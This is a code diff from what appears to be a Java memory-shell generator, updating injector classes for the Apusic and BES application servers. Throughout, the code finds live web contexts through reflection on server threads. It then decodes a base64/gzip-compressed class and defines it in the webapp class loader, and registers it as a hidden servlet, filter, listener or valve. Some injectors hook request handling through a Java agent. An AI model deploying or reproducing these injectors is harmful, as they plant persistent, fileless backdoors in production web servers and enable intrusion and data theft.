ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
public void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null); if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
for (String name : listeners) {
if (getClassName().equals(name)) {
System.out.println("listener already injected");
return; return;
} }
}
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "loadListeners", null, null); invokeMethod(context, "loadListeners", null, null);
System.out.println("listener injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -144,8 +197,7 @@ public class ApusicListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -162,11 +214,22 @@ public class ApusicListenerInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -3,11 +3,10 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -16,17 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicServletInjector { public class ApusicServletInjector {
public ApusicServletInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,36 +30,100 @@ public class ApusicServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public ApusicServletInjector() {
List<Object> contexts = new ArrayList<Object>(); if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
@@ -77,12 +131,15 @@ public class ApusicServletInjector {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
Object servletMapper = getFieldValue(context, "servletMapper"); Object servletMapper = getFieldValue(context, "servletMapper");
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet already injected");
return; return;
} }
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
System.out.println("servlet injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -141,8 +198,7 @@ public class ApusicServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -159,11 +215,22 @@ public class ApusicServletInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
} }
@Override @Override
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -4,30 +4,19 @@ import javax.servlet.Filter;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class BesFilterInjector { public class BesFilterInjector {
Logger log = Logger.getLogger(BesFilterInjector.class.getName()); private static String msg = "";
private static boolean ok = false;
public BesFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,12 +30,57 @@ public class BesFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public BesFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) getFieldValue(context, "encodedPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.bes.enterprise.webtier.core.DefaultContext * com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar * /opt/bes/lib/bes-engine.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -56,12 +90,22 @@ public class BesFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -73,22 +117,23 @@ public class BesFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName(); String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -110,7 +155,11 @@ public class BesFilterInjector {
Object filterConfig = constructors[0].newInstance(context, filterDef); Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs"); HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -169,8 +218,7 @@ public class BesFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -187,11 +235,22 @@ public class BesFilterInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,6 +15,9 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesListenerInjector { public class BesListenerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -23,19 +27,52 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
Object listener = getShell(context); try {
inject(context, listener); msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
ok = true;
System.out.println(msg);
}
public List<Object> getContext() throws Exception { @SuppressWarnings("all")
List<Object> contexts = new ArrayList<Object>(); private String getContextRoot(Object context) {
String r = null;
try {
r = (String) getFieldValue(context, "encodedPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -45,6 +82,16 @@ public class BesListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -62,15 +109,17 @@ public class BesListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -78,7 +127,6 @@ public class BesListenerInjector {
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
for (Object eventListener : eventListeners) { for (Object eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) { if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
System.out.println("listener already exists");
return; return;
} }
} }
@@ -86,7 +134,11 @@ public class BesListenerInjector {
newListeners.add(listener); newListeners.add(listener);
newListeners.addAll(Arrays.asList(eventListeners)); newListeners.addAll(Arrays.asList(eventListeners));
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()}); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
System.out.println("listener added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -135,7 +187,7 @@ public class BesListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -163,4 +215,19 @@ public class BesListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesValveInjector { public class BesValveInjector {
public BesValveInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,8 +25,53 @@ public class BesValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public BesValveInjector() {
List<Object> contexts = new ArrayList<Object>(); if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) getFieldValue(context, "encodedPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -44,58 +81,57 @@ public class BesValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance(); return clazz.newInstance();
} }
}
@SuppressWarnings("all")
public boolean isInjected(Object pipeline) throws Exception {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
